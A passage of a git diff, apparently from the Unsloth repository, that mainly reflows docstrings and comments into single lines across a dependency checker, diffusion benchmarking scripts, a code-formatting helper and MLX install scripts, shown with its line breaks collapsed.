tsconfig_compiler_types_refs() -> set[str]:def enumerate_dep_usage(head_pkg: dict, head_lock: dict) -> dict[str, list]:- """For every declared dep, classify usage into a dict of package-name lists:- used, unused, type_pkg_kept (@types/X with X declared), type_pkg_orphan- (@types/X with X gone). `unused` is a CANDIDATE list; verify before deletion.- """+ """For every declared dep, classify usage into a dict of package-name lists: used, unused, type_pkg_kept (@types/X with X declared), type_pkg_orphan (@types/X with X gone). `unused` is a CANDIDATE list; verify before deletion."""decl = all_decl_names(head_pkg)bin_to_pkg = build_bin_to_pkg(head_lock) if head_lock else {}script_refs = scripts_bin_refs(head_pkg, bin_to_pkg)@@ -597,10 +561,7 @@ def enumerate_dep_usage(head_pkg: dict, head_lock: dict) -> dict[str, list]:def find_imports_without_decl(head_pkg: dict) -> list[tuple[str, int, str]]:- """Reverse check: find bare-specifier imports in studio/frontend/src with- no matching package.json dep (import added but dep declaration forgotten).- Covers import/require/dynamic-import shapes. Returns (file, line, spec).- """+ """Reverse check: find bare-specifier imports in studio/frontend/src with no matching package.json dep (import added but dep declaration forgotten). Covers import/require/dynamic-import shapes. Returns (file, line, spec)."""decl = set()for f in DEP_FIELDS:decl.update((head_pkg.get(f) or {}).keys())@@ -681,11 +642,7 @@ def _read_file(path: str) -> list[str]:def find_usage(pkg: str) -> list[Hit]:- """Return real usages of `pkg` (pip-playwright filtered separately).-- For each grep hit, also feed a multi-line window into classify() so- multi-line imports get picked up.- """+ """Return real usages of `pkg` (pip-playwright filtered separately). For each grep hit, also feed a multi-line window into classify() so multi-line imports get picked up."""rows = grep_repo(re.escape(pkg))hits = []seen_keys: set[tuple[str, str]] = set()@@ -694,8 +651,7 @@ def find_usage(pkg: str) -> list[Hit]:continuekind = classify(pkg, file, content)if not kind:- # Multi-line window (25 lines each side) so Prettier's one-import-per-line formatting still pairs `import`- # with `from`.+ # Multi-line window (25 lines each side) so Prettier's one-import-per-line formatting still pairs `import` with `from`.lines = _read_file(file)lo = max(0, lineno - 26)hi = min(len(lines), lineno + 25)@@ -711,17 +667,12 @@ def find_usage(pkg: str) -> list[Hit]:def _candidate_bin_names(pkg: str) -> set[str]:- """Bin names a removed package's CLI could be invoked under. Most npm CLIs- use the package name; scoped ones expose an unscoped bin (@biomejs/biome ->- biome)."""+ """Bin names a removed package's CLI could be invoked under. Most npm CLIs use the package name; scoped ones expose an unscoped bin (@biomejs/biome -> biome)."""return {pkg, pkg.rsplit("/", 1)[-1]}def find_command_usage(pkg: str) -> list[Hit]:- """Find package CLI invocations in shell/workflow/Dockerfile surfaces (npx,- bunx, pnpm exec, yarn dlx, or bare `pkg --flag`). Bounded to- COMMAND_LIKE_EXT so `npx foo` in a TS fixture isn't mistaken for real use.- """+ """Find package CLI invocations in shell/workflow/Dockerfile surfaces (npx, bunx, pnpm exec, yarn dlx, or bare `pkg --flag`). Bounded to COMMAND_LIKE_EXT so `npx foo` in a TS fixture is not mistaken for real use."""bins = sorted(_candidate_bin_names(pkg), key = len, reverse = True)esc_bins = "|".join(re.escape(b) for b in bins)# Built without f-strings to avoid clashing with the POSIX `[[:space:]]` literals.@@ -756,8 +707,7 @@ def find_command_usage(pkg: str) -> list[Hit]:def types_target_name(pkg: str) -> str | None:- """Strip `@types/` and decode scope-encoding to the runtime package name- (`@types/foo__bar` -> `@foo/bar`). None for non-@types packages."""+ """Strip `@types/` and decode scope-encoding to the runtime package name (`@types/foo__bar` -> `@foo/bar`). None for non-@types packages."""if not pkg.startswith("@types/"):return Nonetarget = pkg[len("@types/") :]@@ -768,8 +718,7 @@ def types_target_name(pkg: str) -> str | None:def find_types_runtime_usage(pkg: str, tsc_types: set[str]) -> list[Hit]:- """For a removed `@types/X`, find usages of `X` itself (triple-slash- reference, tsconfig types, runtime import). If any exist, @types/X stays."""+ """For a removed `@types/X`, find usages of `X` itself (triple-slash reference, tsconfig types, runtime import). If any exist, @types/X stays."""target = types_target_name(pkg)if target is None:return []@@ -854,8 +803,7 @@ def main() -> int:return 2head_lock = read_pkg_file(head_lock_path)- # Base lockfile is best-effort: it only recovers the bin -> package mapping for packages the PR removes, so a- # scripts.biome cite still fires when @biomejs/biome is dropped from the head lockfile.+ # Base lockfile is best-effort: it only recovers the bin -> package mapping for packages the PR removes, so a scripts.biome cite still fires when @biomejs/biome is dropped from the head lockfile.if args.base_lock:base_lock_path = Path(args.base_lock)base_lock = read_pkg_file(base_lock_path) if base_lock_path.exists() else {}@@ -866,8 +814,7 @@ def main() -> int:head_names = all_decl_names(head_pkg)removed = sorted(base_names - head_names)- # Hygiene checks compute up front so they run on both the removal-present and removal-empty paths (so --strict fails- # on hygiene-only issues).+ # Hygiene checks compute up front so they run on both the removal-present and removal-empty paths (so --strict fails on hygiene-only issues).sync_warns = lockfile_root_sync(head_pkg, head_lock)types_warns = types_orphan_warnings(head_pkg)missing_imports = find_imports_without_decl(head_pkg)@@ -928,8 +875,7 @@ def main() -> int:print()reachable_paths = reachable_from_head(head_pkg, head_lock) if head_lock else set()- # bin -> package map from the head lockfile, layering base-lockfile entries for removed packages so scripts.biome- # still flags when @biomejs/biome is dropped (head lockfile no longer maps it).+ # bin -> package map from the head lockfile, layering base-lockfile entries for removed packages so scripts.biome still flags when @biomejs/biome is dropped (head lockfile no longer maps it).bin_to_pkg = build_bin_to_pkg(head_lock) if head_lock else {}base_bin_to_pkg = build_bin_to_pkg(base_lock) if base_lock else {}removed_set = set(removed)@@ -940,9 +886,7 @@ def main() -> int:tsc_types = tsconfig_compiler_types_refs()def reachable_install_paths(name: str) -> tuple[str | None, list[str]]:- """Return (top_level_path, nested_paths). top_level is what bare- `import "name"` resolves to; nested copies are only visible inside- their parent package."""+ """Return (top_level_path, nested_paths). top_level is what bare `import "name"` resolves to; nested copies are only visible inside their parent package."""top = f"node_modules/{name}"top_path = top if top in reachable_paths else Nonenested = sorted(diff --git a/scripts/diffusion_bench.py b/scripts/diffusion_bench.pyindex 5aa33f72303..73daa1cc351 100644--- a/scripts/diffusion_bench.py+++ b/scripts/diffusion_bench.py@@ -3,28 +3,13 @@"""Standalone GPU benchmark + regression harness for the Unsloth diffusion backend.-Drives ``DiffusionBackend`` directly (no HTTP server) to measure load time, peak-VRAM, and generation latency for a single GGUF image model, plus an accuracy-guard: a fixed-seed image is rendered and compared (PSNR) against a stored-reference so a precision/dtype/guard regression that silently changes output is-caught, not just speed/memory.--Two modes:-- --write-baseline PATH run once, save metrics JSON + reference.png next to it.- --compare PATH run again, diff against the baseline, exit nonzero if a- latency / VRAM / PSNR threshold is exceeded.--torch / diffusers are imported lazily (only after argument parsing and only-inside functions) so ``--help`` works on a host without them. Not part of CPU CI;-this needs a real GPU and a downloadable model.--Example:- python scripts/diffusion_bench.py --write-baseline outputs/diffusion_bench/baseline.json \\- --model unsloth/Z-Image-Turbo-GGUF --gguf z-image-turbo-Q4_K_M.gguf- # ... make changes ...- python scripts/diffusion_bench.py --compare outputs/diffusion_bench/baseline.json \\- --model unsloth/Z-Image-Turbo-GGUF --gguf z-image-turbo-Q4_K_M.gguf+Drives ``DiffusionBackend`` directly (no HTTP server) to measure load time, peak VRAM and generation latency for a single GGUF image model, plus an accuracy guard: a fixed-seed image is rendered and compared (PSNR) against a stored reference, so a precision/dtype/guard regression that silently changes output is caught, not just speed and memory.++Two modes: --write-baseline PATH runs once and saves the metrics JSON plus reference.png next to it, and --compare PATH runs again, diffs against the baseline and exits nonzero if a latency, VRAM or PSNR threshold is exceeded.++torch and diffusers are imported lazily (only after argument parsing and only inside functions) so ``--help`` works on a host without them. Not part of CPU CI; this needs a real GPU and a downloadable model.++Example: `python scripts/diffusion_bench.py --write-baseline outputs/diffusion_bench/baseline.json --model unsloth/Z-Image-Turbo-GGUF --gguf z-image-turbo-Q4_K_M.gguf`, then the same command with --compare after making changes."""from __future__ import annotations@@ -41,8 +26,7 @@ from datetime import datetime, timezonefrom pathlib import Pathfrom typing import Any, Optional-# Backend root on sys.path so `core.inference.diffusion` imports as the server does (deferred into main() so --help-# never triggers torch).+# Backend root on sys.path so `core.inference.diffusion` imports as the server does (deferred into main() so --help never triggers torch)._BACKEND_ROOT = Path(__file__).resolve().parent.parent / "studio" / "backend"if str(_BACKEND_ROOT) not in sys.path:sys.path.insert(0, str(_BACKEND_ROOT))@@ -212,10 +196,7 @@ def _generate_once(backend: Any, args: argparse.Namespace) -> Any:def _run(args: argparse.Namespace) -> dict[str, Any]:- """Load the model, measure load + generation, render the fixed-seed image.-- Returns the metrics dict; writes the rendered image to ``args._image_out``.- """+ """Load the model, measure load and generation, render the fixed-seed image. Returns the metrics dict; writes the rendered image to ``args._image_out``."""from core.inference.diffusion import get_diffusion_backendbackend = get_diffusion_backend()@@ -389,8 +370,7 @@ def _compare(args: argparse.Namespace) -> int:baseline = json.loads(baseline_path.read_text())out_dir = Path(args.out_dir).resolve()args._image_out = out_dir / "compare.png"- # --write-baseline takes any path, so a baseline can be sitting on a name this run writes.- # Refuse before the generation is paid for, not after.+ # --write-baseline takes any path, so a baseline can be sitting on a name this run writes. Refuse before the generation is paid for, not after.for written in (out_dir / "compare.json", args._image_out):if baseline_path == written:print(@@ -421,8 +401,7 @@ def _compare(args: argparse.Namespace) -> int:print(" refusing noisy comparison (pass --force-compare to override).", flush = True)return 2- # PSNR vs the stored reference;- # reference_png is absolute, so fall back to reference.png beside the baseline.+ # PSNR against the stored reference; reference_png is absolute, so fall back to reference.png beside the baseline.ref_png = Path(baseline.get("accuracy", {}).get("reference_png", ""))if not ref_png.is_file():ref_png = baseline_path.parent / "reference.png"diff --git a/scripts/diffusion_quality.py b/scripts/diffusion_quality.pyindex 009ad705bfa..bf7677f356c 100644--- a/scripts/diffusion_quality.py+++ b/scripts/diffusion_quality.py@@ -3,29 +3,11 @@"""Image quality-vs-quant harness for the Unsloth diffusion backend.-The accuracy analogue of the KLD workflow: hold the prompt + seed fixed, render a-grid with a high-fidelity reference quant (default BF16), then render the same grid-with each candidate quant and measure how far the output drifts from the reference.-For every quant it records mean PSNR / SSIM (pixel + structural fidelity vs the-reference image), optional CLIP scores (perceptual: prompt alignment + similarity to-the reference), plus file size, generation latency, and peak VRAM. It then prints a-quality-vs-cost table and recommends the smallest quant that stays within a quality-budget, so "retain accuracy" becomes a number you can set defaults from.--Lean by design: PSNR + SSIM are pure numpy (no skimage/scipy); CLIP is optional and-gated on ``--clip`` (uses transformers, downloads a small CLIP once). torch /-diffusers / the backend are imported lazily so ``--help`` and ``--selftest`` work on-a host without them. Not part of CPU CI for the GPU path; ``--selftest`` is CPU-only.--Examples:- # CPU metric sanity check (no GPU, no model):- python scripts/diffusion_quality.py --selftest-- # GPU sweep of a few quants against the BF16 reference:- python scripts/diffusion_quality.py --model unsloth/Z-Image-Turbo-GGUF \\- --reference-quant z-image-turbo-BF16.gguf \\- --quants z-image-turbo-Q8_0.gguf z-image-turbo-Q4_K_M.gguf z-image-turbo-Q2_K.gguf \\- --clip --out-dir outputs/diffusion_quality/zimage+The accuracy analogue of the KLD workflow: hold the prompt and seed fixed, render a grid with a high-fidelity reference quant (default BF16), then render the same grid with each candidate quant and measure how far the output drifts from the reference. Per quant it records mean PSNR / SSIM (pixel and structural fidelity against the reference image), optional CLIP scores (prompt alignment plus similarity to the reference), file size, generation latency and peak VRAM, then prints a quality-vs-cost table and recommends the smallest quant that stays within a quality budget, so "retain accuracy" becomes a number you can set defaults from.++Lean by design: PSNR and SSIM are pure numpy (no skimage/scipy); CLIP is optional and gated on ``--clip`` (uses transformers, downloads a small CLIP once). torch / diffusers / the backend are imported lazily so ``--help`` and ``--selftest`` work on a host without them. Not part of CPU CI for the GPU path; ``--selftest`` is CPU-only.++Examples: `python scripts/diffusion_quality.py --selftest` for a CPU metric sanity check, or `--model unsloth/Z-Image-Turbo-GGUF --reference-quant z-image-turbo-BF16.gguf --quants z-image-turbo-Q8_0.gguf z-image-turbo-Q4_K_M.gguf z-image-turbo-Q2_K.gguf --clip` for a GPU sweep against the BF16 reference."""from __future__ import annotations@@ -83,8 +65,7 @@ def psnr(a_img: Any, b_img: Any) -> float:def _box_mean(x: Any, w: int) -> Any:- """Uniform (w x w) box mean over a 2D array via an integral image; edge-padded- so the output keeps the input shape. Vectorised, no python loop."""+ """Uniform (w x w) box mean over a 2D array via an integral image; edge-padded so the output keeps the input shape. Vectorised, no python loop."""import numpy as npr = w // 2@@ -101,8 +82,7 @@ def ssim(b_img: Any,window: int = 7,) -> float:- """Mean structural similarity (luminance) over a uniform window; 1.0 when- identical. Pure numpy box-window SSIM (Wang et al. constants), no skimage."""+ """Mean structural similarity (luminance) over a uniform window; 1.0 when identical. Pure numpy box-window SSIM (Wang et al. constants), no skimage."""a, b = _to_gray(a_img), _to_gray(b_img)if a.shape != b.shape:return 0.0@@ -218,8 +198,7 @@ def _hf_file_size_mib(repo: str, filename: str) -> Optional[int]:def _render_grid(backend: Any, args: argparse.Namespace, gguf: str, out_dir: Path) -> dict[str, Any]:- """Load ``gguf`` and render one image per (prompt, seed); return images keyed by- (prompt_index, seed) plus latency / VRAM metrics."""+ """Load ``gguf`` and render one image per (prompt, seed); return images keyed by (prompt_index, seed) plus latency / VRAM metrics."""_cuda_reset_peak()backend.begin_load(args.model,diff --git a/scripts/enforce_kwargs_spacing.py b/scripts/enforce_kwargs_spacing.pyindex 9df428a9e19..6ccf77a0774 100755--- a/scripts/enforce_kwargs_spacing.py+++ b/scripts/enforce_kwargs_spacing.py@@ -21,8 +21,7 @@ from pathlib import Pathdef _atomic_write_text(path: Path, data: str, encoding: str) -> None:- """Write ``data`` to ``path`` atomically via same-dir tmp + fsync + os.replace,- so a crash mid-write leaves either the old or full new content, never a truncation."""+ """Write ``data`` to ``path`` atomically via same-dir tmp + fsync + os.replace, so a crash mid-write leaves either the old or the full new content, never a truncation."""dirpath = str(path.parent) or "."# mkstemp creates the file 0600, and os.replace carries that mode over the# original's, so an executable script rewritten by this pass came back@@ -77,7 +76,6 @@ def enforce_spacing(text: str) -> tuple[str, bool]:line_changed = False- # Insert a space before '=' when missing and not preceded by whitespace.if col > 0 and line[col - 1] not in {" ", "\t"}:line = f"{line[:col]} {line[col:]}"offsets[line_index] += 1@@ -85,7 +83,6 @@ def enforce_spacing(text: str) -> tuple[str, bool]:line_changed = Truechanged = True- # Insert a space after '=' when missing and not followed by whitespace or newline.next_index = col + 1if next_index < len(line) and line[next_index] not in {" ", "\t", "\n", "\r"}:line = f"{line[:next_index]} {line[next_index:]}"@@ -158,7 +155,6 @@ def remove_redundant_passes(text: str) -> tuple[str, bool]:suffix = lines[end][(node.end_col_offset or 0) :]lines[end] = suffix- # Normalise to ensure lines end with newlines except at EOF.result_lines: list[str] = []for index, line in enumerate(lines):if not line:@@ -172,13 +168,7 @@ def remove_redundant_passes(text: str) -> tuple[str, bool]:def remove_blank_after_short_import(text: str) -> tuple[str, bool]:- """Drop blank line(s) after an import block in a small nested suite.-- In an indented suite of <= 3 statements (never module level), when consecutive- imports are followed across blank lines (nothing else) by another statement,- remove those blanks. A comment in the gap blocks the rule. Removing blank lines- never changes the AST.- """+ """Drop blank line(s) after an import block in a small nested suite. In an indented suite of <= 3 statements (never module level), when consecutive imports are followed across blank lines (nothing else) by another statement, remove those blanks. A comment in the gap blocks the rule. Removing blank lines never changes the AST."""try:tree = ast.parse(text)except SyntaxError:@@ -231,12 +221,7 @@ _DEF_MIN_PARAMS_FOR_MULTILINE = 3 # signatures with < this many params stay onedef _def_specs_by_line(tree: ast.AST) -> dict[int, tuple[int, bool]]:- """Map each def keyword line to (param count, has-any-default).-- ``*`` / ``/`` markers aren't counted. A default exists if any positional default- is present or any keyword-only default is not ``None`` (``None`` in ``kw_defaults``- means a required keyword-only arg).- """+ """Map each def keyword line to (param count, has-any-default). ``*`` and ``/`` markers are not counted. A default exists if any positional default is present or any keyword-only default is not ``None`` (``None`` in ``kw_defaults`` means a required keyword-only arg)."""out: dict[int, tuple[int, bool]] = {}for node in ast.walk(tree):if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):@@ -254,13 +239,7 @@ def _def_specs_by_line(tree: ast.AST) -> dict[int, tuple[int, bool]]:def normalize_def_trailing_comma(text: str) -> tuple[str, bool]:- """Force a def signature one-per-line iff >= 3 params AND a default; else collapsible.-- A qualifying signature gets a magic trailing comma added (ruff wraps it- one-per-line); every other signature has its trailing comma stripped so ruff- collapses it when it fits. Def parameter lists only, never call sites or- collection literals. Run BEFORE ruff format. Never changes the AST (re-checked).- """+ """Force a def signature one-per-line iff >= 3 params AND a default, else collapsible. A qualifying signature gets a magic trailing comma added (ruff wraps it one-per-line); every other signature has its trailing comma stripped so ruff collapses it when it fits. Def parameter lists only, never call sites or collection literals. Run BEFORE ruff format. Never changes the AST (re-checked)."""try:tree = ast.parse(text)toks = list(tokenize.generate_tokens(io.StringIO(text).readline))@@ -328,11 +307,7 @@ def normalize_def_trailing_comma(text: str) -> tuple[str, bool]:def _split_string_token(s: str) -> tuple[str, str, str] | None:- """Split a string literal source into (prefix, quote, body).-- ``prefix`` is the letters before the opening quote, ``quote`` the delimiter,- ``body`` everything between. ``None`` if not a recognizable string literal.- """+ """Split a string literal source into (prefix, quote, body): the letters before the opening quote, the delimiter, and everything between. ``None`` if not a recognizable string literal."""i = 0while i < len(s) and s[i] not in ("'", '"'):i += 1@@ -345,17 +320,12 @@ def _split_string_token(s: str) -> tuple[str, str, str] | None:return None-# PEP 701 split f-strings into FSTRING_START/MIDDLE/END in 3.12. Before that one arrives-# as a single STRING token, which the branch below already handles, so reading the names-# unguarded raised AttributeError and killed the whole post-pass: `ruff format` had already-# stripped the kwarg spacing this script exists to restore, so every file it touched came-# back reformatted and the hook failed repo-wide. `t.type` is an int, so None never matches.+# PEP 701 split f-strings into FSTRING_START/MIDDLE/END in 3.12; before that one arrives as a single STRING token, which the branch below handles, so reading the names unguarded raised AttributeError and killed the whole post-pass, leaving every file ruff-reformatted without the kwarg spacing this script restores. `t.type` is an int, so None never matches._FSTRING_START = getattr(tokenize, "FSTRING_START", None)_FSTRING_END = getattr(tokenize, "FSTRING_END", None)-# A "piece" is one string literal in source: a plain STRING token, or a whole-# f-string spanning FSTRING_START..FSTRING_END. (kind, (row, col0), (row, col1), raw)+# A "piece" is one string literal in source: a plain STRING token, or a whole f-string spanning FSTRING_START..FSTRING_END. (kind, (row, col0), (row, col1), raw)def _string_pieces(toks: list[tokenize.TokenInfo], lines: list[str]) -> list[tuple[str, tuple[int, int], tuple[int, int], str | None]]:@@ -394,15 +364,7 @@ def _string_pieces(def _merge_string_run(pieces: list[tuple[str, str]]) -> str | None:- """Merge a run of adjacent string pieces into one literal's source text.-- ``pieces`` is ``(kind, raw_source)`` with kind ``"str"`` or ``"f"``. Bytes are- left side-by-side (``None``); a run with no f-string merges plain/raw/unicode- sharing one prefix+quote by body concatenation; a run mixing an f-string with a- plain string (no bytes, no raw) folds into one f-string with plain braces escaped.- Runs of only f-strings are left alone. Caller re-checks the AST and drops a- differing change, so subtle cases are caught.- """+ """Merge a run of adjacent string pieces into one literal's source text. ``pieces`` is ``(kind, raw_source)`` with kind ``"str"`` or ``"f"``. Bytes are left side-by-side (``None``); a run with no f-string merges plain/raw/unicode sharing one prefix+quote by body concatenation; a run mixing an f-string with a plain string (no bytes, no raw) folds into one f-string with plain braces escaped. Runs of only f-strings are left alone. The caller re-checks the AST and drops a differing change."""parsed = []for kind, raw in pieces:pqb = _split_string_token(raw)@@ -453,13 +415,7 @@ def _enclosing_stmt(tree: ast.AST, row: int) -> ast.stmt | None:def _fold_collapses(tree: ast.AST, lines: list[str], row: int, c0: int, c1: int, merged: str) -> bool:- """Whether an f-string fold at ``row[c0:c1]`` -> ``merged`` is safe to apply.-- Only ``assert`` wraps awkwardly when a message folds (ruff parenthesizes the- condition once it no longer fits one line); every other construct wraps- acceptably so is always allowed. An ``assert`` fold is allowed only if already- one line, or its estimated folded one-line length fits the line length.- """+ """Whether an f-string fold at ``row[c0:c1]`` -> ``merged`` is safe to apply. Only ``assert`` wraps awkwardly when a message folds (ruff parenthesizes the condition once it no longer fits one line), so an ``assert`` fold is allowed only if already one line or its estimated folded length fits; every other construct wraps acceptably."""stmt = _enclosing_stmt(tree, row)if not isinstance(stmt, ast.Assert):return True@@ -473,20 +429,13 @@ def _fold_collapses(ln = ln[:c0] + merged + ln[c1:]seg.append(ln)indent = len(seg[0]) - len(seg[0].lstrip())- # Conservative over-estimate: join continuation lines with a single space- # (ruff joins bracketed wraps with none), so borderline cases skip the fold.+ # Conservative over-estimate: join continuation lines with a single space (ruff joins bracketed wraps with none), so borderline cases skip the fold.joined = " ".join(s.strip() for s in seg)return indent + len(joined) <= _LINE_LENGTHdef merge_adjacent_string_literals(text: str) -> tuple[str, bool]:- """Merge adjacent string literals on ONE physical line into a single literal.-- Plain/raw/unicode runs merge by concatenation; an f-string + plain string folds- into one f-string (plain braces escaped) only while the statement still fits one- line. Runs of only f-strings, and bytes, are left side-by-side. The file AST is- re-checked and a differing change dropped, so meaning never changes.- """+ """Merge adjacent string literals on ONE physical line into a single literal. Plain/raw/unicode runs merge by concatenation; an f-string + plain string folds into one f-string (plain braces escaped) only while the statement still fits one line. Runs of only f-strings, and bytes, are left side-by-side. The file AST is re-checked and a differing change dropped."""try:toks = list(tokenize.generate_tokens(io.StringIO(text).readline))tree = ast.parse(text)@@ -496,7 +445,6 @@ def merge_adjacent_string_literals(text: str) -> tuple[str, bool]:lines = text.splitlines(keepends=True)pieces = _string_pieces(toks, lines)- # Group consecutive mergeable pieces (str/f, single line, same physical line).runs: list[list[tuple[str, tuple[int, int], tuple[int, int], str]]] = []cur: list[tuple[str, tuple[int, int], tuple[int, int], str]] = []for kind, start, end, raw in pieces:@@ -521,8 +469,7 @@ def merge_adjacent_string_literals(text: str) -> tuple[str, bool]:if merged is None:continuerow, c0, c1 = run[0][1][0], run[0][1][1], run[-1][2][1]- # An f-string fold must not push its statement onto extra lines; a plain- # concatenation always collapses cleanly so it skips this check.+ # An f-string fold must not push its statement onto extra lines; a plain concatenation always collapses cleanly so it skips this check.if any(kind == "f" for kind, _s, _e, _r in run) and not _fold_collapses(tree, lines, row, c0, c1, merged):@@ -544,14 +491,7 @@ def merge_adjacent_string_literals(text: str) -> tuple[str, bool]:def collapse_short_asserts(text: str) -> tuple[str, bool]:- """Collapse a multi-line ``assert`` onto one line when it would fit.-- When the statement's estimated one-line length fits, strip the magic trailing- commas (comma before a closer) holding it open so ruff rejoins it. Run BEFORE- ruff format. Skips asserts with a comment (would oscillate). Stripping is- non-semantic except for a one-element tuple; AST is re-checked and changing- asserts left alone.- """+ """Collapse a multi-line ``assert`` onto one line when the estimated one-line length fits, by stripping the magic trailing commas (a comma before a closer) holding it open so ruff rejoins it. Run BEFORE ruff format. Skips asserts with a comment (would oscillate). Stripping is non-semantic except for a one-element tuple; the AST is re-checked and changing asserts left alone."""try:tree = ast.parse(text)toks = list(tokenize.generate_tokens(io.StringIO(text).readline))@@ -575,15 +515,13 @@ def collapse_short_asserts(text: str) -> tuple[str, bool]:continue # a comment would keep ruff multi-line -> never collapsesseg = [lines[k].rstrip("\n") for k in range(lo - 1, hi)]indent = len(seg[0]) - len(seg[0].lstrip())- # Over-estimate (join with a space; keep the comma) so a "fits" verdict- # is always at least as long as ruff's real one-line output -> no fight.+ # Over-estimate (join with a space, keep the comma) so a "fits" verdict is always at least as long as ruff's real one-line output, and the two never fight.if indent + len(" ".join(s.strip() for s in seg)) <= _LINE_LENGTH:targets.append((lo, hi))if not targets:return text, False- # Trailing commas (a ',' whose next significant token is a closer), grouped- # by the target assert they belong to.+ # Trailing commas (a ',' whose next significant token is a closer), grouped by the target assert they belong to.sig = [t for t in toks if t.type not in _STRING_TRIVIA]by_target: dict[tuple[int, int], list[tuple[int, int]]] = defaultdict(list)for i, t in enumerate(sig):@@ -624,10 +562,7 @@ def process_file(path: Path, pre: bool = False) -> bool:return Falseif pre:- # Pre-ruff: normalize def-signature magic commas (>=3 params + a default- # add so ruff forces one-per-line; everything else strips so ruff- # collapses), and strip the magic trailing comma from a short multi-line- # assert so ruff joins it onto one line. Everything else runs post-ruff.+ # Pre-ruff: normalize def-signature magic commas (>=3 params + a default add so ruff forces one-per-line, everything else strips so ruff collapses), and strip the magic trailing comma from a short multi-line assert so ruff joins it. Everything else runs post-ruff.updated, normalized = normalize_def_trailing_comma(original)updated, collapsed = collapse_short_asserts(updated)if normalized or collapsed:diff --git a/scripts/image_speedmem_bench.py b/scripts/image_speedmem_bench.pyindex 33260493245..6937281b4c2 100644--- a/scripts/image_speedmem_bench.py+++ b/scripts/image_speedmem_bench.py@@ -3,31 +3,13 @@"""Speed + accuracy lever benchmark for the IMAGE diffusion backend (per-lever LPIPS).-Drives the SAME production lever functions the image loader calls -- ``apply_step_cache``,-``apply_attention_backend``, ``apply_speed_optims``, ``quantize_text_encoders``, the-compile-safe eager patches -- with the loader's own default arguments and order, so each-measured configuration reflects a real load. For each config it loads the pipeline fresh-(quant/compile mutate irreversibly), warms up (to pay the one-time compile), renders a-fixed prompt set at a fixed seed, and reports total latency, median per-step ms, peak-resident GB, and mean LPIPS(AlexNet) vs the bit-exact reference config (speed off,-native attention, uncached, dense) rendered at the same seed/settings.--Every generation starts from a clean step cache, exactly like the production backend:-diffusers keys FBCache residuals on the long-lived transformer and never resets them, so-without the per-generation reset the measured prompts would compare their first-block-residual against the PREVIOUS prompt's final one -- a state production never runs.-FBCache rows produced before this reset existed may overstate both the speedup and the-quality cost.--Lever isolation knobs (for before/after measurement of shipped fixes):- --no-epc force torch._inductor.config.emulate_precision_casts back off after- the speed layer enables it (the pre-fix compile numerics).- --unarm-cache restore the cache hooks' eager inner forwards after the speed layer- arms them (the pre-fix cache x compile composition).--Example:- CUDA_VISIBLE_DEVICES=3 python scripts/image_speedmem_bench.py --family flux.1-dev \\- --config compile --out outputs/image_speedmem+Drives the SAME production lever functions the image loader calls (``apply_step_cache``, ``apply_attention_backend``, ``apply_speed_optims``, ``quantize_text_encoders``, the compile-safe eager patches) with the loader's own default arguments and order, so each measured configuration reflects a real load. For each config it loads the pipeline fresh (quant/compile mutate irreversibly), warms up to pay the one-time compile, renders a fixed prompt set at a fixed seed, and reports total latency, median per-step ms, peak resident GB, and mean LPIPS(AlexNet) against the bit-exact reference config (speed off, native attention, uncached, dense) rendered at the same seed and settings.++Every generation starts from a clean step cache, exactly like the production backend: diffusers keys FBCache residuals on the long-lived transformer and never resets them, so without the per-generation reset the measured prompts would compare their first-block residual against the PREVIOUS prompt's final one, a state production never runs. FBCache rows produced before this reset existed may overstate both the speedup and the quality cost.++Lever isolation knobs for before/after measurement of shipped fixes: --no-epc forces torch._inductor.config.emulate_precision_casts back off after the speed layer enables it (the pre-fix compile numerics), and --unarm-cache restores the cache hooks' eager inner forwards after the speed layer arms them (the pre-fix cache x compile composition).++Example: `CUDA_VISIBLE_DEVICES=3 python scripts/image_speedmem_bench.py --family flux.1-dev --config compile --out outputs/image_speedmem`"""from __future__ import annotations@@ -175,8 +157,7 @@ def _apply_levers(unarm_cache: bool = False,logger = None,) -> dict:- """Apply the configured levers with the loader's own argument values, in the loader's- order (diffusion.py): TE quant -> attention -> step cache -> eager patches -> speed."""+ """Apply the configured levers with the loader's own argument values, in the loader's order (diffusion.py): TE quant, attention, step cache, eager patches, speed."""from core.inference.diffusion_precision import quantize_text_encodersfrom core.inference.diffusion_attention import (apply_attention_backend,@@ -248,12 +229,7 @@ def _apply_levers(def _reset_step_cache(pipe) -> None:- """Clear stale FBCache residuals before a generation, mirroring the production- backend's ``_reset_step_cache`` (diffusion.py): diffusers keys the residuals on the- long-lived denoiser and never resets them itself, and the transformer-level entry- point in diffusers 0.39 is ``_reset_stateful_cache`` (``reset_stateful_hooks`` lives- only on the HookRegistry, so the getattr fallback is a silent no-op). Best-effort:- an uncached denoiser (or SDXL's unet, which has no FBCache path) is a no-op."""+ """Clear stale FBCache residuals before a generation, mirroring the production backend's ``_reset_step_cache`` (diffusion.py): diffusers keys the residuals on the long-lived denoiser and never resets them itself, and the transformer-level entry point in diffusers 0.39 is ``_reset_stateful_cache`` (``reset_stateful_hooks`` lives only on the HookRegistry, so the getattr fallback is a silent no-op). Best-effort: an uncached denoiser, or SDXL's unet which has no FBCache path, is a no-op."""denoiser = getattr(pipe, "transformer", None) or getattr(pipe, "unet", None)reset = getattr(denoiser, "_reset_stateful_cache", None) or getattr(denoiser, "reset_stateful_hooks", Nonediff --git a/scripts/install_gemma4_mlx.sh b/scripts/install_gemma4_mlx.shindex e1ac4628faf..55da5d9ef9f 100755--- a/scripts/install_gemma4_mlx.sh+++ b/scripts/install_gemma4_mlx.sh@@ -3,22 +3,16 @@# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0set -euo pipefail-# ============================================================# Gemma 4 MLX — One-command setup + inference-## Supply-chain hardening: the uv installer payload is pinned by# SHA-256. Rotate by running:# curl -sSLf https://astral.sh/uv/install.sh | shasum -a 256# and updating _UV_INSTALLER_SHA256 below.-# ============================================================-## Usage:# bash install_gemma4_mlx.sh [--venv-dir DIR]-## This script:# 1. Creates a Python virtual environment# 2. Installs uv, mlx-vlm, transformers-# ============================================================# ── Output style (inspired by unsloth/install.sh) ─────────────RULE=""diff --git a/scripts/install_qwen3_6_mlx.sh b/scripts/install_qwen3_6_mlx.shindex 64d982b705e..421bf139d9b 100644--- a/scripts/install_qwen3_6_mlx.sh+++ b/scripts/install_qwen3_6_mlx.sh@@ -3,21 +3,15 @@# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0set -euo pipefail-# ============================================================# Qwen3.6 MLX — One-command setup + inference-## Supply-chain hardening:# - The uv 